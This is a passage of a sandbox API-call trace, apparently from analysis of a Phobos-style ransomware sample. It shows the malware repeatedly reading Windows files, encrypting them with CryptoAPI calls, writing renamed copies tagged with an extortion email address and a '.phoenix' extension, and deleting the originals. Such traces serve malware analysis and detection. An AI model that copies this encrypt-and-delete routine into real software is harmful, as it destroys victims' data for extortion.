	[0250.093] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.093] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.093] CryptDestroyKey (hKey=0x151200) returned 1
	[0250.093] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.093] CryptDestroyKey (hKey=0x151140) returned 1
	[0250.093] CloseHandle (hObject=0x2c8) returned 1
	[0250.093] CloseHandle (hObject=0x2b0) returned 1
	[0250.093] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.095] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0250.095] CloseHandle (hObject=0x2b0) returned 1
	[0250.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.095] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.095] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.096] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.096] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0250.096] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.096] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2000, lpOverlapped=0x0) returned 1
	[0250.116] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2010, dwBufLen=0x2010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2010) returned 1
	[0250.116] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2010, lpOverlapped=0x0) returned 1
	[0250.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0250.117] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.117] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.117] CryptDestroyKey (hKey=0x151200) returned 1
	[0250.117] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.117] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0250.117] CloseHandle (hObject=0x2b0) returned 1
	[0250.117] CloseHandle (hObject=0x2c8) returned 1
	[0250.117] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.118] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.118] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.119] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8192) returned 1
	[0250.119] CloseHandle (hObject=0x2c8) returned 1
	[0250.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.119] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.119] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.119] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.120] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0250.120] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.120] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2000, lpOverlapped=0x0) returned 1
	[0250.216] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2010, dwBufLen=0x2010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2010) returned 1
	[0250.216] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2010, lpOverlapped=0x0) returned 1
	[0250.217] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0250.217] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.217] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.217] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.217] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.217] CryptDestroyKey (hKey=0x151700) returned 1
	[0250.217] CloseHandle (hObject=0x2c8) returned 1
	[0250.217] CloseHandle (hObject=0x2b0) returned 1
	[0250.217] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.218] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.219] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0250.219] CloseHandle (hObject=0x2b0) returned 1
	[0250.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.219] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.219] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.219] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.219] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.220] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0250.220] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.220] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0250.494] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0250.494] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0250.496] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151680) returned 1
	[0250.496] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.496] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0250.496] CryptDestroyKey (hKey=0x151680) returned 1
	[0250.496] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0250.496] CryptDestroyKey (hKey=0x151640) returned 1
	[0250.496] CloseHandle (hObject=0x2b0) returned 1
	[0250.496] CloseHandle (hObject=0x2c8) returned 1
	[0250.496] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.497] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.497] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.517] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3132) returned 1
	[0250.517] CloseHandle (hObject=0x2c8) returned 1
	[0250.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml")) returned 0x20
	[0250.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.521] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.521] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.521] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0250.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.606] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151680) returned 1
	[0250.606] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.606] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc3c, lpOverlapped=0x0) returned 1
	[0250.610] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc40, dwBufLen=0xc40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc40) returned 1
	[0250.610] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc40, lpOverlapped=0x0) returned 1
	[0250.610] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0250.611] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0250.611] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0250.611] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.611] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0250.611] CryptDestroyKey (hKey=0x151680) returned 1
	[0250.611] CloseHandle (hObject=0x2b0) returned 1
	[0250.611] CloseHandle (hObject=0x2c4) returned 1
	[0250.611] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml")) returned 1
	[0250.612] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.613] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=129745) returned 1
	[0250.613] CloseHandle (hObject=0x2c4) returned 1
	[0250.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20
	[0250.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.614] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.614] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2913) returned 1
	[0250.614] CloseHandle (hObject=0x2c4) returned 1
	[0250.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20
	[0250.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.614] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0250.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
